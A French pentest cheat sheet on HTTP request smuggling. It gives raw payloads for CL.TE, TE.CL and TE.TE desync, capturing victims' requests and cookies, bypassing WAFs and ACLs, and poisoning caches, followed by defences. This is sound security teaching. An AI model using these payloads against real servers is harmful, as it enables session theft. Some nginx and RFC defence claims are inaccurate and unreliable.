---
title: "HTTP Request Smuggling"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [http-smuggling, clte, tecl, desync, burpsuite, waf-bypass, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Principe

```
Architecture cible :

  Client ──► Frontend (proxy/load-balancer) ──► Backend (serveur applicatif)
                       │                                │
               Lit Content-Length             Lit Transfer-Encoding

Vulnérabilité : frontend et backend désaccordés sur la limite d'une requête HTTP/1.1
→ Un attaquant peut "empoisonner" la file de requêtes backend
→ La queue de l'attaquant est lue comme début de la prochaine requête d'une victime
```

---

## Types de désynchronisation

```
CL.TE  → Frontend utilise Content-Length, Backend utilise Transfer-Encoding
TE.CL  → Frontend utilise Transfer-Encoding, Backend utilise Content-Length
TE.TE  → Les deux utilisent TE, mais l'un ignore les encodages obfusqués
```

---

## CL.TE — Content-Length / Transfer-Encoding

```http
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

```
Explication :
- Frontend lit Content-Length: 13 → envoie tout ("0\r\n\r\nSMUGGLED") au backend
- Backend lit Transfer-Encoding: chunked → "0\r\n\r\n" = fin du chunk = fin de requête
- "SMUGGLED" reste dans le buffer backend → préfixe de la prochaine requête
```

### Confirmation CL.TE (timing)

```http
POST / HTTP/1.1
Host: {{TARGET}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A
X
```

```
Si délai de ~10s dans la réponse → Backend attend la fin du chunk "X"
→ CL.TE confirmé
```

---

## TE.CL — Transfer-Encoding / Content-Length

```http
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


```

```
Explication :
- Frontend lit Transfer-Encoding → "8\r\nSMUGGLED\r\n0\r\n\r\n" = 2 chunks + fin
- Backend lit Content-Length: 3 → lit seulement "8\r\n" et stoppe
- "SMUGGLED\r\n0\r\n\r\n" reste → préfixe de la prochaine requête victim
```

---

## TE.TE — Obfuscation Transfer-Encoding

```http
# Techniques d'obfuscation TE :
Transfer-Encoding: xchunked
Transfer-Encoding: chunked, x
Transfer-Encoding : chunked      # espace avant les deux-points
Transfer-encoding: chunked       # casse différente
X: X\r\nTransfer-Encoding: chunked  # dans un header étendu
```

---

## Burp Suite — Détection automatique

```
Extension Burp : HTTP Request Smuggler (James Kettle / PortSwigger)

1. Installer via BApp Store → "HTTP Request Smuggler"
2. Clic droit sur une requête → Extensions → HTTP Request Smuggler → Smuggle probe
3. Résultats dans le panneau "Logger"

Manual via Repeater :
- Désactiver "Update Content-Length" dans Repeater
- Cocher "Allow HTTP/1 keep-alive requests"
- Envoyer les payloads ci-dessus, observer délai et erreurs
```

---

## Exploitation — Capturer la requête d'une victime

```http
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 130
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: {{TARGET}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 800

body=
```

```
Mécanisme :
1. Notre requête pousse "POST /capture ... body=" dans le buffer backend
2. La prochaine requête d'une victime est ajoutée après "body="
3. Le backend reçoit une requête /capture avec le corps = requête complète de la victime
4. Si /capture stocke le body (ex: champ profil, commentaire) → on lit la requête de la victime
→ Headers, cookies, tokens de la victime exposés
```

---

## Exploitation — Bypass WAF

```http
# Le WAF inspecte le frontend (body "normal")
# Le backend reçoit le payload malveillant comme continuation de requête

POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 49
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: {{TARGET}}
X: GARBAGE
```

```
Résultat : la prochaine victime envoie GET /homepage
Backend reçoit : GET /admin + contenu de la requête victime → bypass ACL
```

---

## Exploitation — Cache Poisoning via Smuggling

```http
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 59
Transfer-Encoding: chunked

0

GET /js/app.js HTTP/1.1
Host: {{TARGET}}
X-Foo: bar
```

```
Si le cache met en cache la réponse de /js/app.js avec notre contenu injecté
→ Cache poisoning — tous les visiteurs suivants reçoivent le JS malveillant
```

---

## Défense

```nginx
# Nginx — désactiver la réutilisation des connexions backend (évite la désynchronisation)
proxy_http_version 1.1;
proxy_set_header Connection "";    # force le close après chaque requête

# Valider strictement le Content-Length
proxy_request_buffering on;
```

```
Mesures serveur :
  - HTTP/2 uniquement frontend→backend (pas de HTTP/1.1 = pas de smuggling)
  - Normaliser les requêtes au frontend (rejeter celles avec CL + TE simultanément)
  - Valider que CL = longueur réelle du body avant transfert
  - HAProxy, Nginx récents : correction built-in si bien configurés

RFC 9112 (HTTP/1.1) :
  Si une requête contient CL ET TE → TE a priorité, CL doit être ignoré
  Si un serveur reçoit les deux → il doit rejeter la requête (400 Bad Request)
```

<Warning>
HTTP Request Smuggling a un impact potentiel extrêmement élevé : capture de sessions d'autres utilisateurs, bypass de WAF/ACL, empoisonnement de cache en masse. La détection est difficile car l'attaque laisse peu de traces côté frontend. Tester systématiquement en présence d'un reverse proxy ou load-balancer HTTP/1.1.
</Warning>
